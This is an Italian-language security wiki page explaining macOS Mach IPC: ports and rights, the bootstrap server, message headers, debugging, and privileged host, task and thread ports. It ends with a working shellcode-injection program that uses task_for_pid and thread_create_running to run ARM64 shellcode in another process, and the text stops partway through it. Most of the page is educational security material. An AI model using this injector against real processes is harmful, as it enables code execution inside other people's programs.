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macOS IPC - Inter Process Communication

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Messaggistica Mach tramite Porte

Informazioni di Base

Mach utilizza task come unità più piccola per la condivisione di risorse, e ogni task può contenere più thread. Questi task e thread sono mappati 1:1 ai processi e ai thread POSIX.

La comunicazione tra i task avviene tramite la Comunicazione tra Processi Mach (IPC), utilizzando canali di comunicazione unidirezionali. I messaggi vengono trasferiti tra le porte, che agiscono come una sorta di code di messaggi gestite dal kernel.

Una porta è l'elemento base dell'IPC di Mach. Può essere utilizzata per inviare messaggi e riceverli.

Ogni processo ha una tabella IPC, dove è possibile trovare le porte Mach del processo. Il nome di una porta Mach è in realtà un numero (un puntatore all'oggetto del kernel).

Un processo può anche inviare un nome di porta con alcuni diritti a un task diverso e il kernel farà sì che questa voce nella tabella IPC dell'altro task appaia.

Diritti delle Porte

I diritti delle porte, che definiscono le operazioni che un task può eseguire, sono fondamentali per questa comunicazione. I possibili diritti delle porte sono (definizioni da qui):

  • Diritto di ricezione, che consente di ricevere messaggi inviati alla porta. Le porte Mach sono code MPSC (multiple-producer, single-consumer), il che significa che può esserci solo un diritto di ricezione per ogni porta in tutto il sistema (a differenza delle pipe, dove più processi possono tutti detenere descrittori di file per l'estremità di lettura di una pipe).

  • Un task con il diritto di ricezione può ricevere messaggi e creare diritti di invio, consentendogli di inviare messaggi. Originariamente solo il proprio task ha il diritto di ricezione sulla sua porta.

  • Se il proprietario del diritto di ricezione muore o lo termina, il diritto di invio diventa inutile (nome morto).

  • Diritto di invio, che consente di inviare messaggi alla porta.

  • Il diritto di invio può essere clonato in modo che un task che possiede un diritto di invio possa clonare il diritto e concederlo a un terzo task.

  • Nota che i diritti delle porte possono anche essere passati attraverso i messaggi Mac.

  • Diritto di invio una sola volta, che consente di inviare un messaggio alla porta e poi scompare.

  • Questo diritto non può essere clonato, ma può essere spostato.

  • Diritto di insieme di porte, che indica un insieme di porte anziché una singola porta. Estrarre un messaggio da un insieme di porte estrae un messaggio da una delle porte che contiene. Gli insiemi di porte possono essere utilizzati per ascoltare su più porte contemporaneamente, molto simile a select/poll/epoll/kqueue in Unix.

  • Nome morto, che non è un vero e proprio diritto di porta, ma solo un segnaposto. Quando una porta viene distrutta, tutti i diritti di porta esistenti per la porta diventano nomi morti.

I task possono trasferire DIRITTI DI INVIO ad altri, consentendo loro di inviare messaggi indietro. I DIRITTI DI INVIO possono anche essere clonati, quindi un task può duplicare e dare il diritto a un terzo task. Questo, combinato con un processo intermedio noto come il bootstrap server, consente una comunicazione efficace tra i task.

Porte File

Le porte file consentono di incapsulare i descrittori di file in porte Mac (utilizzando i diritti delle porte Mach). È possibile creare un fileport da un determinato FD utilizzando fileport_makeport e creare un FD da un fileport utilizzando fileport_makefd.

Stabilire una comunicazione

Come già accennato, è possibile inviare diritti utilizzando i messaggi Mach, tuttavia, non è possibile inviare un diritto senza già avere un diritto per inviare un messaggio Mach. Quindi, come viene stabilita la prima comunicazione?

Per questo, è coinvolto il bootstrap server (launchd su Mac), poiché chiunque può ottenere un DIRITTO DI INVIO al bootstrap server, è possibile chiedergli un diritto per inviare un messaggio a un altro processo:

  1. Il Task A crea una nuova porta, ottenendo il diritto di ricezione su di essa.

  2. Il Task A, essendo il detentore del diritto di ricezione, genera un diritto di invio per la porta.

  3. Il Task A stabilisce una connessione con il bootstrap server, e gli invia il diritto di invio per la porta generato all'inizio.

  • Ricorda che chiunque può ottenere un DIRITTO DI INVIO al bootstrap server.

  1. Il Task A invia un messaggio bootstrap_register al bootstrap server per associare la porta data a un nome come com.apple.taska.

  2. Il Task B interagisce con il bootstrap server per eseguire una ricerca bootstrap per il nome del servizio (bootstrap_lookup). Quindi, affinché il bootstrap server possa rispondere, il task B invierà un DIRITTO DI INVIO a una porta che ha creato precedentemente all'interno del messaggio di ricerca. Se la ricerca ha successo, il server duplica il DIRITTO DI INVIO ricevuto dal Task A e lo trasmette al Task B.

  • Ricorda che chiunque può ottenere un DIRITTO DI INVIO al bootstrap server.

  1. Con questo DIRITTO DI INVIO, il Task B è in grado di inviare un messaggio a Task A.

  2. Per una comunicazione bidirezionale di solito il task B genera una nuova porta con un diritto di ricezione e un diritto di invio, e dà il diritto di invio a Task A in modo che possa inviare messaggi a TASK B (comunicazione bidirezionale).

Il bootstrap server non può autenticare il nome del servizio reclamato da un task. Ciò significa che un task potrebbe potenzialmente fingere di essere qualsiasi task di sistema, come ad esempio reclamare falsamente un nome di servizio di autorizzazione e quindi approvare ogni richiesta.

Successivamente, Apple memorizza i nomi dei servizi forniti dal sistema in file di configurazione sicuri, situati in directory protette da SIP: /System/Library/LaunchDaemons e /System/Library/LaunchAgents. Accanto a ciascun nome di servizio, è anche memorizzato il binario associato. Il bootstrap server, creerà e conserverà un diritto di ricezione per ciascuno di questi nomi di servizio.

Per questi servizi predefiniti, il processo di ricerca differisce leggermente. Quando viene cercato un nome di servizio, launchd avvia il servizio dinamicamente. Il nuovo flusso di lavoro è il seguente:

  • Il Task B avvia una ricerca bootstrap per un nome di servizio.

  • launchd controlla se il task è in esecuzione e se non lo è, lo avvia.

  • Il Task A (il servizio) esegue un check-in bootstrap (bootstrap_check_in()). Qui, il bootstrap server crea un DIRITTO DI INVIO, lo mantiene e trasferisce il DIRITTO DI RICEZIONE al Task A.

  • launchd duplica il DIRITTO DI INVIO e lo invia al Task B.

  • Il Task B genera una nuova porta con un diritto di ricezione e un diritto di invio, e dà il DIRITTO DI INVIO a Task A (il servizio) in modo che possa inviare messaggi a TASK B (comunicazione bidirezionale).

Tuttavia, questo processo si applica solo ai task di sistema predefiniti. I task non di sistema continuano a operare come descritto originariamente, il che potrebbe potenzialmente consentire l'usurpazione.

Pertanto, launchd non dovrebbe mai bloccarsi o l'intero sistema si bloccherà.

Un Messaggio Mach

Ulteriori informazioni qui

La funzione mach_msg, essenzialmente una chiamata di sistema, viene utilizzata per inviare e ricevere messaggi Mach. La funzione richiede che il messaggio venga inviato come argomento iniziale. Questo messaggio deve iniziare con una struttura mach_msg_header_t, seguita dal contenuto effettivo del messaggio. La struttura è definita come segue:

typedef struct {
mach_msg_bits_t               msgh_bits;
mach_msg_size_t               msgh_size;
mach_port_t                   msgh_remote_port;
mach_port_t                   msgh_local_port;
mach_port_name_t              msgh_voucher_port;
mach_msg_id_t                 msgh_id;
} mach_msg_header_t;

I processi che possiedono un diritto di ricezione possono ricevere messaggi su una porta Mach. Al contrario, i mittenti ottengono un diritto di invio o un diritto di invio una volta sola. Il diritto di invio una volta sola è esclusivamente per l'invio di un singolo messaggio, dopo il quale diventa non valido.

Il campo iniziale msgh_bits è una mappa di bit:

  • Il primo bit (più significativo) viene utilizzato per indicare che un messaggio è complesso (più dettagli in seguito)

  • Il 3° e 4° bit sono utilizzati dal kernel

  • I 5 bit meno significativi del 2° byte possono essere utilizzati per il voucher: un altro tipo di porta per inviare combinazioni chiave/valore.

  • I 5 bit meno significativi del 3° byte possono essere utilizzati per la porta locale

  • I 5 bit meno significativi del 4° byte possono essere utilizzati per la porta remota

I tipi che possono essere specificati nel voucher, nelle porte locali e remote sono (da mach/message.h):

#define MACH_MSG_TYPE_MOVE_RECEIVE      16      /* Must hold receive right */
#define MACH_MSG_TYPE_MOVE_SEND         17      /* Must hold send right(s) */
#define MACH_MSG_TYPE_MOVE_SEND_ONCE    18      /* Must hold sendonce right */
#define MACH_MSG_TYPE_COPY_SEND         19      /* Must hold send right(s) */
#define MACH_MSG_TYPE_MAKE_SEND         20      /* Must hold receive right */
#define MACH_MSG_TYPE_MAKE_SEND_ONCE    21      /* Must hold receive right */
#define MACH_MSG_TYPE_COPY_RECEIVE      22      /* NOT VALID */
#define MACH_MSG_TYPE_DISPOSE_RECEIVE   24      /* must hold receive right */
#define MACH_MSG_TYPE_DISPOSE_SEND      25      /* must hold send right(s) */
#define MACH_MSG_TYPE_DISPOSE_SEND_ONCE 26      /* must hold sendonce right */

Per esempio, MACH_MSG_TYPE_MAKE_SEND_ONCE può essere utilizzato per indicare che un diritto di invio una sola volta dovrebbe essere derivato e trasferito per questa porta. Può anche essere specificato MACH_PORT_NULL per impedire al destinatario di poter rispondere.

Per ottenere una facile comunicazione bidirezionale, un processo può specificare una porta mach nell'intestazione del messaggio mach chiamata porta di risposta (msgh_local_port) dove il ricevente del messaggio può inviare una risposta a questo messaggio.

Nota che questo tipo di comunicazione bidirezionale è utilizzato nei messaggi XPC che si aspettano una risposta (xpc_connection_send_message_with_reply e xpc_connection_send_message_with_reply_sync). Ma di solito vengono creati porti diversi come spiegato in precedenza per creare la comunicazione bidirezionale.

Gli altri campi dell'intestazione del messaggio sono:

  • msgh_size: la dimensione dell'intero pacchetto.

  • msgh_remote_port: la porta su cui viene inviato questo messaggio.

  • msgh_voucher_port: voucher mach.

  • msgh_id: l'ID di questo messaggio, che viene interpretato dal ricevente.

Nota che i messaggi mach vengono inviati su una porta mach, che è un canale di comunicazione singolo ricevente, multiplo mittente integrato nel kernel mach. Più processi possono inviare messaggi a una porta mach, ma in un dato momento solo un singolo processo può leggere da essa.

I messaggi sono quindi formati dall'intestazione mach_msg_header_t seguita dal corpo e dal trailer (se presente) e possono concedere il permesso di rispondere ad esso. In questi casi, il kernel deve solo passare il messaggio da un task all'altro.

Un trailer è un'informazione aggiunta al messaggio dal kernel (non può essere impostata dall'utente) che può essere richiesta nella ricezione del messaggio con i flag MACH_RCV_TRAILER_<trailer_opt> (ci sono diverse informazioni che possono essere richieste).

Messaggi Complessi

Tuttavia, ci sono altri messaggi più complessi, come quelli che passano diritti di porta aggiuntivi o condividono memoria, in cui il kernel deve anche inviare questi oggetti al destinatario. In questi casi, il bit più significativo dell'intestazione msgh_bits è impostato.

I descrittori possibili da passare sono definiti in mach/message.h:

#define MACH_MSG_PORT_DESCRIPTOR                0
#define MACH_MSG_OOL_DESCRIPTOR                 1
#define MACH_MSG_OOL_PORTS_DESCRIPTOR           2
#define MACH_MSG_OOL_VOLATILE_DESCRIPTOR        3
#define MACH_MSG_GUARDED_PORT_DESCRIPTOR        4

#pragma pack(push, 4)

typedef struct{
natural_t                     pad1;
mach_msg_size_t               pad2;
unsigned int                  pad3 : 24;
mach_msg_descriptor_type_t    type : 8;
} mach_msg_type_descriptor_t;

In 32 bit, tutti i descrittori sono di 12B e il tipo di descrittore è nel 11°. In 64 bit, le dimensioni variano.

Il kernel copierà i descrittori da un task all'altro ma prima creerà una copia nella memoria del kernel. Questa tecnica, nota come "Feng Shui", è stata abusata in diversi exploit per fare in modo che il kernel copi i dati nella sua memoria facendo sì che un processo invii descrittori a se stesso. Quindi il processo può ricevere i messaggi (il kernel li libererà).

È anche possibile inviare diritti di porta a un processo vulnerabile, e i diritti di porta appariranno semplicemente nel processo (anche se non li sta gestendo).

API delle porte Mac

Nota che le porte sono associate allo spazio dei nomi del task, quindi per creare o cercare una porta, viene anche interrogato lo spazio dei nomi del task (più in mach/mach_port.h):

  • mach_port_allocate | mach_port_construct: Crea una porta.

  • mach_port_allocate può anche creare un insieme di porte: diritto di ricezione su un gruppo di porte. Ogni volta che viene ricevuto un messaggio, viene indicata la porta da cui è stato inviato.

  • mach_port_allocate_name: Cambia il nome della porta (di default un intero a 32 bit)

  • mach_port_names: Ottieni i nomi delle porte da un target

  • mach_port_type: Ottieni i diritti di un task su un nome

  • mach_port_rename: Rinomina una porta (come dup2 per FD)

  • mach_port_allocate: Alloca un nuovo RICEVI, PORT_SET o DEAD_NAME

  • mach_port_insert_right: Crea un nuovo diritto in una porta dove hai RICEVI

  • mach_port_...

  • mach_msg | mach_msg_overwrite: Funzioni utilizzate per inviare e ricevere messaggi mach. La versione overwrite consente di specificare un buffer diverso per la ricezione del messaggio (l'altra versione lo riutilizzerà).

Debug mach_msg

Poiché le funzioni mach_msg e mach_msg_overwrite sono quelle utilizzate per inviare e ricevere messaggi, impostare un breakpoint su di esse consentirebbe di ispezionare i messaggi inviati e ricevuti.

Ad esempio, inizia a eseguire il debug di qualsiasi applicazione che puoi debuggare poiché caricherà libSystem.B che utilizzerà questa funzione.

__WATCHOS_PROHIBITED __TVOS_PROHIBITED
extern mach_msg_return_t        mach_msg(
mach_msg_header_t *msg,
mach_msg_option_t option,
mach_msg_size_t send_size,
mach_msg_size_t rcv_size,
mach_port_name_t rcv_name,
mach_msg_timeout_t timeout,
mach_port_name_t notify);

Ottenere i valori dai registri:

reg read $x0 $x1 $x2 $x3 $x4 $x5 $x6
x0 = 0x0000000124e04ce8 ;mach_msg_header_t (*msg)
x1 = 0x0000000003114207 ;mach_msg_option_t (option)
x2 = 0x0000000000000388 ;mach_msg_size_t (send_size)
x3 = 0x0000000000000388 ;mach_msg_size_t (rcv_size)
x4 = 0x0000000000001f03 ;mach_port_name_t (rcv_name)
x5 = 0x0000000000000000 ;mach_msg_timeout_t (timeout)
x6 = 0x0000000000000000 ;mach_port_name_t (notify)

Ispeziona l'intestazione del messaggio controllando il primo argomento:

(lldb) x/6w $x0
0x124e04ce8: 0x00131513 0x00000388 0x00000807 0x00001f03
0x124e04cf8: 0x00000b07 0x40000322

; 0x00131513 -> mach_msg_bits_t (msgh_bits) = 0x13 (MACH_MSG_TYPE_COPY_SEND) in local | 0x1500 (MACH_MSG_TYPE_MAKE_SEND_ONCE) in remote | 0x130000 (MACH_MSG_TYPE_COPY_SEND) in voucher
; 0x00000388 -> mach_msg_size_t (msgh_size)
; 0x00000807 -> mach_port_t (msgh_remote_port)
; 0x00001f03 -> mach_port_t (msgh_local_port)
; 0x00000b07 -> mach_port_name_t (msgh_voucher_port)
; 0x40000322 -> mach_msg_id_t (msgh_id)

Quel tipo di mach_msg_bits_t è molto comune per consentire una risposta.

Enumerare le porte

lsmp -p <pid>

sudo lsmp -p 1
Process (1) : launchd
name      ipc-object    rights     flags   boost  reqs  recv  send sonce oref  qlimit  msgcount  context            identifier  type
---------   ----------  ----------  -------- -----  ---- ----- ----- ----- ----  ------  --------  ------------------ ----------- ------------
0x00000203  0x181c4e1d  send        --------        ---            2                                                  0x00000000  TASK-CONTROL SELF (1) launchd
0x00000303  0x183f1f8d  recv        --------     0  ---      1               N        5         0  0x0000000000000000
0x00000403  0x183eb9dd  recv        --------     0  ---      1               N        5         0  0x0000000000000000
0x0000051b  0x1840cf3d  send        --------        ---            2        ->        6         0  0x0000000000000000 0x00011817  (380) WindowServer
0x00000603  0x183f698d  recv        --------     0  ---      1               N        5         0  0x0000000000000000
0x0000070b  0x175915fd  recv,send   ---GS---     0  ---      1     2         Y        5         0  0x0000000000000000
0x00000803  0x1758794d  send        --------        ---            1                                                  0x00000000  CLOCK
0x0000091b  0x192c71fd  send        --------        D--            1        ->        1         0  0x0000000000000000 0x00028da7  (418) runningboardd
0x00000a6b  0x1d4a18cd  send        --------        ---            2        ->       16         0  0x0000000000000000 0x00006a03  (92247) Dock
0x00000b03  0x175a5d4d  send        --------        ---            2        ->       16         0  0x0000000000000000 0x00001803  (310) logd
[...]
0x000016a7  0x192c743d  recv,send   --TGSI--     0  ---      1     1         Y       16         0  0x0000000000000000
+     send        --------        ---            1         <-                                       0x00002d03  (81948) seserviced
+     send        --------        ---            1         <-                                       0x00002603  (74295) passd
[...]

Il nome è il nome predefinito assegnato alla porta (controlla come sta aumentando nei primi 3 byte). L'ipc-object è l'identificatore unico offuscato della porta. Nota anche come le porte con solo il diritto di send stanno identificando il proprietario di essa (nome della porta + pid). Nota anche l'uso di + per indicare altri task connessi alla stessa porta.

È anche possibile utilizzare procesxp per vedere anche i nomi dei servizi registrati (con SIP disabilitato a causa della necessità di com.apple.system-task-port):

procesp 1 ports

Puoi installare questo strumento su iOS scaricandolo da http://newosxbook.com/tools/binpack64-256.tar.gz

Esempio di codice

Nota come il mittente alloca una porta, crea un diritto di invio per il nome org.darlinghq.example e lo invia al server di avvio mentre il mittente ha richiesto il diritto di invio di quel nome e lo ha usato per inviare un messaggio.

// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
// gcc receiver.c -o receiver

#include <stdio.h>
#include <mach/mach.h>
#include <servers/bootstrap.h>

int main() {

// Create a new port.
mach_port_t port;
kern_return_t kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
if (kr != KERN_SUCCESS) {
printf("mach_port_allocate() failed with code 0x%x\n", kr);
return 1;
}
printf("mach_port_allocate() created port right name %d\n", port);


// Give us a send right to this port, in addition to the receive right.
kr = mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
if (kr != KERN_SUCCESS) {
printf("mach_port_insert_right() failed with code 0x%x\n", kr);
return 1;
}
printf("mach_port_insert_right() inserted a send right\n");


// Send the send right to the bootstrap server, so that it can be looked up by other processes.
kr = bootstrap_register(bootstrap_port, "org.darlinghq.example", port);
if (kr != KERN_SUCCESS) {
printf("bootstrap_register() failed with code 0x%x\n", kr);
return 1;
}
printf("bootstrap_register()'ed our port\n");


// Wait for a message.
struct {
mach_msg_header_t header;
char some_text[10];
int some_number;
mach_msg_trailer_t trailer;
} message;

kr = mach_msg(
&message.header,  // Same as (mach_msg_header_t *) &message.
MACH_RCV_MSG,     // Options. We're receiving a message.
0,                // Size of the message being sent, if sending.
sizeof(message),  // Size of the buffer for receiving.
port,             // The port to receive a message on.
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL    // Port for the kernel to send notifications about this message to.
);
if (kr != KERN_SUCCESS) {
printf("mach_msg() failed with code 0x%x\n", kr);
return 1;
}
printf("Got a message\n");

message.some_text[9] = 0;
printf("Text: %s, number: %d\n", message.some_text, message.some_number);
}

Porte privilegiate

Ci sono alcune porte speciali che permettono di eseguire determinate azioni sensibili o accedere a determinati dati sensibili nel caso in cui un compito abbia i permessi SEND su di esse. Questo rende queste porte molto interessanti dal punto di vista degli attaccanti non solo per le capacità ma anche perché è possibile condividere i permessi SEND tra i compiti.

Porte speciali dell'host

Queste porte sono rappresentate da un numero.

I diritti SEND possono essere ottenuti chiamando host_get_special_port e i diritti RECEIVE chiamando host_set_special_port. Tuttavia, entrambe le chiamate richiedono la porta host_priv a cui solo l'utente root può accedere. Inoltre, in passato, l'utente root poteva chiamare host_set_special_port e dirottare arbitrariamente ciò che permetteva ad esempio di aggirare le firme del codice dirottando HOST_KEXTD_PORT (SIP ora impedisce questo).

Queste sono divise in 2 gruppi: I primi 7 porte sono di proprietà del kernel essendo il 1 HOST_PORT, il 2 HOST_PRIV_PORT, il 3 HOST_IO_MASTER_PORT e il 7 è HOST_MAX_SPECIAL_KERNEL_PORT. Quelle che iniziano dal numero 8 sono di proprietà dei daemon di sistema e possono essere trovate dichiarate in host_special_ports.h.

  • Porta host: Se un processo ha il privilegio SEND su questa porta può ottenere informazioni sul sistema chiamando le sue routine come:

  • host_processor_info: Ottenere informazioni sul processore

  • host_info: Ottenere informazioni sull'host

  • host_virtual_physical_table_info: Tabella delle pagine virtuali/fisiche (richiede MACH_VMDEBUG)

  • host_statistics: Ottenere statistiche sull'host

  • mach_memory_info: Ottenere la struttura della memoria del kernel

  • Porta host privilegiata: Un processo con il diritto SEND su questa porta può eseguire azioni privilegiate come mostrare i dati di avvio o provare a caricare un'estensione del kernel. Il processo deve essere root per ottenere questo permesso.

  • Inoltre, per chiamare l'API kext_request è necessario avere altri entitlement com.apple.private.kext* che vengono dati solo ai binari Apple.

  • Altre routine che possono essere chiamate sono:

  • host_get_boot_info: Ottenere machine_boot_info()

  • host_priv_statistics: Ottenere statistiche privilegiate

  • vm_allocate_cpm: Allocare memoria fisica contigua

  • host_processors: Invio del diritto ai processori dell'host

  • mach_vm_wire: Rendere residente la memoria

  • Poiché root può accedere a questo permesso, potrebbe chiamare host_set_[special/exception]_port[s] per dirottare le porte speciali o di eccezione dell'host.

È possibile vedere tutte le porte speciali dell'host eseguendo:

procexp all ports | grep "HSP"

Porte Speciali del Task

Queste sono porte riservate per servizi ben noti. È possibile ottenerle/impostarle chiamando task_[get/set]_special_port. Possono essere trovate in task_special_ports.h:

typedef	int	task_special_port_t;

#define TASK_KERNEL_PORT	1	/* Represents task to the outside
world.*/
#define TASK_HOST_PORT		2	/* The host (priv) port for task.  */
#define TASK_BOOTSTRAP_PORT	4	/* Bootstrap environment for task. */
#define TASK_WIRED_LEDGER_PORT	5	/* Wired resource ledger for task. */
#define TASK_PAGED_LEDGER_PORT	6	/* Paged resource ledger for task. */

Da qui:

  • TASK_KERNEL_PORT[diritto di invio task-self]: La porta utilizzata per controllare questo task. Utilizzata per inviare messaggi che influenzano il task. Questa è la porta restituita da mach_task_self (vedi Porte Task di seguito).

  • TASK_BOOTSTRAP_PORT[diritto di invio bootstrap]: La porta bootstrap del task. Utilizzata per inviare messaggi che richiedono il ritorno di altre porte di servizio di sistema.

  • TASK_HOST_NAME_PORT[diritto di invio host-self]: La porta utilizzata per richiedere informazioni sull'host contenente. Questa è la porta restituita da mach_host_self.

  • TASK_WIRED_LEDGER_PORT[diritto di invio ledger]: La porta che nomina la fonte da cui questo task attinge la sua memoria kernel cablata.

  • TASK_PAGED_LEDGER_PORT[diritto di invio ledger]: La porta che nomina la fonte da cui questo task attinge la sua memoria gestita di default.

Porte Task

Originariamente Mach non aveva "processi" ma "task" che venivano considerati più come contenitori di thread. Quando Mach è stato unito a BSD ogni task era correlato a un processo BSD. Pertanto ogni processo BSD ha i dettagli necessari per essere un processo e ogni task Mach ha anche il suo funzionamento interno (tranne per il pid inesistente 0 che è il kernel_task).

Ci sono due funzioni molto interessanti correlate a questo:

  • task_for_pid(target_task_port, pid, &task_port_of_pid): Ottieni un diritto di invio per la porta del task del task correlato al pid specificato e assegnalo al target_task_port indicato (che di solito è il task chiamante che ha usato mach_task_self(), ma potrebbe essere una porta di invio su un task diverso).

  • pid_for_task(task, &pid): Dato un diritto di invio a un task, trova a quale PID è correlato questo task.

Per eseguire azioni all'interno del task, il task aveva bisogno di un diritto di invio a se stesso chiamando mach_task_self() (che utilizza il task_self_trap (28)). Con questa autorizzazione un task può eseguire diverse azioni come:

  • task_threads: Ottieni un diritto di invio su tutte le porte del task dei thread del task

  • task_info: Ottieni informazioni su un task

  • task_suspend/resume: Sospendi o riprendi un task

  • task_[get/set]_special_port

  • thread_create: Crea un thread

  • task_[get/set]_state: Controlla lo stato del task

  • e altro può essere trovato in mach/task.h

Nota che con un diritto di invio su una porta del task di un task diverso, è possibile eseguire tali azioni su un task diverso.

Inoltre, la porta del task è anche la porta vm_map che consente di leggere e manipolare la memoria all'interno di un task con funzioni come vm_read() e vm_write(). Questo significa fondamentalmente che un task con diritti di invio sulla porta del task di un task diverso sarà in grado di iniettare codice in quel task.

Ricorda che poiché il kernel è anche un task, se qualcuno riesce a ottenere permessi di invio sul kernel_task, sarà in grado di far eseguire al kernel qualsiasi cosa (jailbreak).

  • Chiama mach_task_self() per ottenere il nome per questa porta per il task chiamante. Questa porta viene ereditata solo attraverso exec(); un nuovo task creato con fork() ottiene una nuova porta del task (come caso speciale, un task ottiene anche una nuova porta del task dopo exec() in un binario suid). L'unico modo per generare un task e ottenere la sua porta è eseguire la "danza dello scambio di porte" durante un fork().

  • Queste sono le restrizioni per accedere alla porta (da macos_task_policy dal binario AppleMobileFileIntegrity):

  • Se l'app ha il permesso com.apple.security.get-task-allow i processi dello stesso utente possono accedere alla porta del task (comunemente aggiunto da Xcode per il debug). Il processo di notarizzazione non lo permetterà per i rilasci in produzione.

  • Le app con il permesso com.apple.system-task-ports possono ottenere la porta del task per qualsiasi processo, tranne il kernel. Nelle versioni precedenti era chiamato task_for_pid-allow. Questo è concesso solo alle applicazioni Apple.

  • Root può accedere alle porte del task delle applicazioni non compilati con un runtime protetto (e non da Apple).

La porta del nome del task: Una versione non privilegiata della porta del task. Fa riferimento al task, ma non consente di controllarlo. L'unica cosa che sembra essere disponibile tramite essa è task_info().

Porte Thread

Anche i thread hanno porte associate, visibili dal task che chiama task_threads e dal processore con processor_set_threads. Un diritto di invio alla porta del thread consente di utilizzare le funzioni del sottosistema thread_act, come:

  • thread_terminate

  • thread_[get/set]_state

  • act_[get/set]_state

  • thread_[suspend/resume]

  • thread_info

  • ...

Qualsiasi thread può ottenere questa porta chiamando mach_thread_sef.

Iniezione di shellcode nel thread tramite la porta Task

Puoi ottenere un shellcode da:

Introduction to ARM64v8
// clang -framework Foundation mysleep.m -o mysleep
// codesign --entitlements entitlements.plist -s - mysleep

#import <Foundation/Foundation.h>

double performMathOperations() {
double result = 0;
for (int i = 0; i < 10000; i++) {
result += sqrt(i) * tan(i) - cos(i);
}
return result;
}

int main(int argc, const char * argv[]) {
@autoreleasepool {
NSLog(@"Process ID: %d", [[NSProcessInfo processInfo]
processIdentifier]);
while (true) {
[NSThread sleepForTimeInterval:5];

performMathOperations();  // Silent action

[NSThread sleepForTimeInterval:5];
}
}
return 0;
}

Intestazioni

  • Nome: Entitlements.plist

  • Descrizione: Questo file contiene le autorizzazioni specifiche dell'applicazione.

  • Posizione predefinita: /Applications/AppName.app/Contents

  • Utilizzo: Le autorizzazioni definite in questo file determinano i privilegi dell'applicazione e le operazioni consentite.

  • Implicazioni sulla sicurezza: Modificare in modo improprio le autorizzazioni in questo file potrebbe consentire a un'applicazione di eseguire operazioni non autorizzate.

<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>com.apple.security.get-task-allow</key>
<true/>
</dict>
</plist>

Compila il programma precedente e aggiungi i privilegi per poter iniettare codice con lo stesso utente (altrimenti dovrai usare sudo).

sc_injector.m

```objectivec // gcc -framework Foundation -framework Appkit sc_injector.m -o sc_injector // Based on https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a?permalink_comment_id=2981669 // and on https://newosxbook.com/src.jl?tree=listings&file=inject.c

#import <Foundation/Foundation.h> #import <AppKit/AppKit.h> #include <mach/mach_vm.h> #include <sys/sysctl.h>

#ifdef arm64

kern_return_t mach_vm_allocate ( vm_map_t target, mach_vm_address_t *address, mach_vm_size_t size, int flags );

kern_return_t mach_vm_write ( vm_map_t target_task, mach_vm_address_t address, vm_offset_t data, mach_msg_type_number_t dataCnt );

#else #include <mach/mach_vm.h> #endif

#define STACK_SIZE 65536 #define CODE_SIZE 128

// ARM64 shellcode that executes touch /tmp/lalala char injectedCode[] = "\xff\x03\x01\xd1\xe1\x03\x00\x91\x60\x01\x00\x10\x20\x00\x00\xf9\x60\x01\x00\x10\x20\x04\x00\xf9\x40\x01\x00\x10\x20\x08\x00\xf9\x3f\x0c\x00\xf9\x80\x00\x00\x10\xe2\x03\x1f\xaa\x70\x07\x80\xd2\x01\x00\x00\xd4\x2f\x62\x69\x6e\x2f\x73\x68\x00\x2d\x63\x00\x00\x74\x6f\x75\x63\x68\x20\x2f\x74\x6d\x70\x2f\x6c\x61\x6c\x61\x6c\x61\x00";

int inject(pid_t pid){

task_t remoteTask;

// Get access to the task port of the process we want to inject into kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask); if (kr != KERN_SUCCESS) { fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr); return (-1); } else{ printf("Gathered privileges over the task port of process: %d\n", pid); }

// Allocate memory for the stack mach_vm_address_t remoteStack64 = (vm_address_t) NULL; mach_vm_address_t remoteCode64 = (vm_address_t) NULL; kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);

if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr)); return (-2); } else {

fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64); }

// Allocate memory for the code remoteCode64 = (vm_address_t) NULL; kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );

if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr)); return (-2); }

// Write the shellcode to the allocated memory kr = mach_vm_write(remoteTask, // Task port remoteCode64, // Virtual Address (Destination) (vm_address_t) injectedCode, // Source 0xa9); // Length of the source

if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach_error_string(kr)); return (-3); }

// Set the permissions on the allocated code memory kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);

if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach_error_string(kr)); return (-4); }

// Set the permissions on the allocated stack memory kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);

if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach_error_string(kr)); return (-4); }

// Create thread to run shellcode struct arm_unified_thread_state remoteThreadState64; thread_act_t remoteThread;

memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) );

remoteStack64 += (STACK_SIZE / 2); // this is the real stack //remoteStack64 -= 8; // need alignment of 16

const char* p = (const char*) remoteCode64;

remoteThreadState64.ash.flavor = ARM_THREAD_STATE64; remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT; remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64; remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64;

printf ("Remote Stack 64 0x%llx, Remote code is %p\n", remoteStack64, p );

kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64, (thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread );

if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to create remote thread: error %s", mach_error_string (kr)); return (-3); }

return (0); }

